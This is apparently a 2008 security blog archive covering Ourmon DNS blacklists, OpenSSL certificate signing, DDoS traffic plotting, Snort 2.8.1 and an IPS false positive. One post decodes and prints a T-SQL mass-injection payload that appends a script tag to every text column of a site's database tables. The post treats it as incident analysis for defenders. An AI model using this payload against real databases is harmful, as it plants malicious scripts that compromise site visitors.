Archive for April, 2008

Ourmon DNS Blacklist

Saturday, April 26th, 2008

There is a new module in Ourmon, Topn DNS that shows the DNS traffic statistic. It comes with a DNS blacklist feature that needs to be configured. What I am going to show here are how to configure it (which is quite easy), and automate the update by using simple scripting with Shell, Perl.

First of all, this is the how to for DNS blacklist configuration:

The dns_include file config line allows a DNS name based blacklist to be configured into the ourmon probe. Any number of files may be given. The format of individual entries in the DNS blacklist is as follows: A

One entry should be given per line.

DNS query responses are unwrapped and if the question is found to match the DNS name in the blacklist, an ourmon event log message is generated.

That means, we need to create a blacklist file with the format above, and a list of black listed domains.

There is a project called DNS-BH, they create and maintain a listing of domains that are known to be used to propagate malware and spyware. So, with the free malware domains list, we are able to create a list and include it to the DNS blacklist.

I have created 2 scripts, 1 Perl script ( to grab the domains from the malware domains list and write them to a new file with format that Ourmon accepts, for example:

From        unknown      2008apr
to A

and 1 Shell ( script to process the update, so that I am able to set it as cron job.

For those who are interested to try it out, you may download it at
There is a Readme file included the package as well. You need to edit the path of dns_include, and the path in the shell script if your installation is in different directory.

This is the sample of the event log after blacklist has been configured, so you need to check why there were DNS requests to malware domains from these servers. (Click to enlarge the image.)
DNS Blacklist Event Log

There are 2 blacklist features in Ourmon as well, which are IRC blacklist and IP blacklist. Ourmon team has the IRC blacklist script written and put them in Ourmon src/scripts/, and I am still working on IP Blacklist which will fetch the black list IP from Harimau watchlist, the main problem is the support of netblock in the Ourmon IP Blacklist, which I will consider to remove those netblock addresses.

If you concern on the CPU and memory usage, here is the resource usage of Ourmon, with 20290 domains in DNS blacklist, and list of IP from EmergingThreat botcc rules in IRC blacklist loaded, and over 10k/s packets at peaks.

59799   root          1   -58    0  48552K 28348K  bpf    4   3:44   2.49%  ourmon

If you have any other recommendation on DNS blacklist, please let me know.

Encoded SQL Injection

Thursday, April 24th, 2008

There is nothing new when you read security advisories on SQL injection vulnerabilities found on certain products or applications. Most of the SQL injection that I have dealt with are plain SQL code injection, which allow me to easily search the sign of SQL injection attack in http log, unless the bad guys are using POST method inside a form or something else.

Today I have discovered a rare encoded SQL injection in one website’s http log that targeted on a MS SQL database. The bad guys had used the HTTP method GET, with encoded code in the SQL injection code. It was not difficult to detect it due to its long URL, and below is the code.


This is the decoded version of the HEX code in the CAST function:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select, from sysobjects a,syscolumns b where and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

It seems that there is a loop in the HEX code to update the js script after 30 characters in the field, disregard if there are more than 30 characters in the field, the SQL code will be injected the first time, and another after 30th character.

With encoded SQL code, the injection could easily bypass IDS and prevention rules. Unless you have set the IDS to alert if certain number characters in URL is passing through the IDS, or inspected HTTP log from time to time.

The js script redirects users to another page, 1.htm, and then try to download the exploits which try to exploit outdated Real Player, and a few MS remote code execution vulnerabilities such as MS06-014, MS07-004, MS07-018 and a few others. So, make sure your Windows and other third party applications are always updated to the latest version or have the latest patch applied.

It seems that this domain has been listed in since 17th April.

OpenSSL creates CA serial file

Saturday, April 12th, 2008

Sguil Logo I have encountered error below when I followed the Sguil OPENSSL.README to generate a certificate with a local CA for my Sguil 0.7.0 installation on FreeBSD 7.0 Release.

[root@nsm]# openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
Signature ok
Getting CA Private Key
Enter pass phrase for privkey.pem:
file.sr1: No such file or directory
82464:error:02001002:system library:fopen:No such file or directory:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/bio/bss_file.c:352:fopen('file.sr1','r')
82464:error:20074002:BIO routines:FILE_CTRL:system lib:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/bio/bss_file.c:354:

OpenSSL Logo From the error message, it is obvious that I did not have the file.sr1 there. Since this was the first time I used the CA to sign the certificate, I would need to create serial key containing serial key. So I run -CAcreateserial as below:

[root@nsm]# openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAcreateserial -out sguild.pem

This created a new file ( containing a serial number. The next time I have to use the -CAserial option when I create new certificate, and specify the path to this file name. The serial number will be incremented each time a new certificate is created.

Grace - XY plotting tool

Saturday, April 5th, 2008

I have collected packets of a DDOS attack on one machine recently. It is just pure SYN attack to destination port 80, with over 5000 packets from different IP in 1 second. I try to create a graph with this packet by using Grace, a WYSIWYG 2D plotting tool for the X Window System and M*tif. Grace runs on practically any version of Unix-like OS. As well, it has been successfully ported to VMS, OS/2, and Win9*/NT/2000/XP.

First, I used Argus client - ra to show unidirectional RMON stat, with only source port and destination port selected, piped it to awk to make it readable data by Grace, and then convert the number for destination port. For example, X=0, Y=2224 (source port), then X=1, Y=80 (destination port):

[guti@nsm /]# ra -nr syn.argus -M rmon -s sport | awk '{ print 0,$1 }' | sed -e 's/0 80/1 80/g' > syn.dat

The output of syn.dat looks like this:

[guti@nsm /]# head -n 6 syn.dat
0 2224
1 80
0 2236
1 80
0 2242
1 80

Then use grace to plot it.

[guti@nsm /]# xmgrace6 syn.dat &

This is the graph of 23 seconds DDOS from source port to destination port.
DDOS Ports Grace Graph

If I use afterglow to show the connection from source to destination port, the graph looks like this.
DDOS Ports Afterglow Graph

This is the graph after I converted the source and destination IP to decimal, for example, from to 3232235899.
DDOS IP Grace Graph

1 second source port to destination port graph, approximate 5000 SYN per second:
DDOS Ports Grace 1 Second Graph

From the port graph, I guess the DDOS was launched from 1 host with spoofed source IP and large bandwidth pipe, what do you think?

Ourmon and Snort 2.8.1 Released

Friday, April 4th, 2008

I noticed Ourmon 2.8.1 is quietly released on 21 March 2008. This bug-fix release fixes the bugs that I have reported previously, and my name is in the release note. The IP blacklist config takes 3 argument now, this helps when you have multiple blacklists, so you immediately tell which blacklist caused the message, but I am yet to test this feature.
For example in ourmon.conf:

blist_include "irc"  /home/mrourmon/etc/ipblacklist.txt

Snort LogoSnort, an open source network intrusion prevention and detection system, releases version 2.8.1. I got a 404 error while I was trying to download Snort yesterday and noticed the file was not there anymore. Within few minutes, the Snort download page was refreshed and replaced with new v2.8.1 package. Coincidentally, the release version number is same with Ourmon latest bug-fix release. In v2.8.1, one of the new additions is the ability to read multiple pcaps from the command line, which I have usually done with Argus. Here is the sample:

[root@nsm /]# snort -dv -r irc1.pcap -r irc2.pcap | less
Running in packet dump mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Verifying Preprocessor Configurations!
TCPDUMP file reading mode.
Reading network traffic from "irc1.pcap" file.
snaplen = 65535

        --== Initialization Complete ==--

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.8.1 (Build 28)
   ''''    By Martin Roesch & The Snort Team:
           (C) Copyright 1998-2008 Sourcefire Inc., et al.
           Using PCRE version: 7.6 2008-01-28

07/11-08:00:32.312306 ->
TCP TTL:40 TOS:0x0 ID:51682 IpLen:20 DgmLen:91 DF
***AP*** Seq: 0xB368B2EB  Ack: 0xE79F2A5  Win: 0xB50  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2184210158 757152
3A 62 6D 77 30 37 21 34 76 71 74 71 74 34 40 38  :bmw07!4vqtqt4@8
32 2E 37 39 2E 38 37 2E 37 39 20 4A 4F 49 4E 20 JOIN
23 61 6C 62 61 0D 0A                                               #alba..


Intelligent IPS

Friday, April 4th, 2008

Some time ago, I have informed my colleague to report an issue that URL request to retrieve Awstats of one domain has been blocked by Intrusion Prevention System (IPS) of the Data Center, because I don’t see my request is received by web server. For example,[DOMAIN NAME] , as long as your domain name contains the word “system”, then your request is blocked.

This is their first reply (I just copied and pasted here) from the Data Center Support:

I beleive this is application issue and something to do at your end/server, please check. All your IP able to ping, we didnt block anything sort of application.

OK, fine, usual reply. We know he is one of those high position technical members, we tried to clarify that with few URLs with explanation, then his next reply:

I’ve checked already at my IPS. Your application hit one of our filter and has been blocked, pls refer below filter description

Severity : Critical
Description : This filter detects an attempt to exploit an input validation vulnerability present in the AWStats log analyzer. If successfully exploited, and attacker could execute arbitrary code on the affected web server.

Great, just as what I have suspected. So, I have replied him this is most probably a false positive, is it possible to disable the signature, or improve the signature? But I got a reply:

The IPS block a valid request, thats mean there is a vulnerability with your AWStats.

WTF? Does that mean their IPS is so intelligent and it can detect the latest Awstats version installation has a vulnerability? I have requested them to provide the full packets detail, which shows I am trying to do arbitrary code execution or maybe I can inform Awstats on the “vulnerability”.

Finally he replied:

Pls find the attachment a log from our IPS (It contains a few lines of successful URL blocking, with source and destination IP, severality, hits, that’s all). However we will consult with our vendor to determine the ’signature’ from our IPS.

I think I need to wait at least for a few weeks before get this resolved.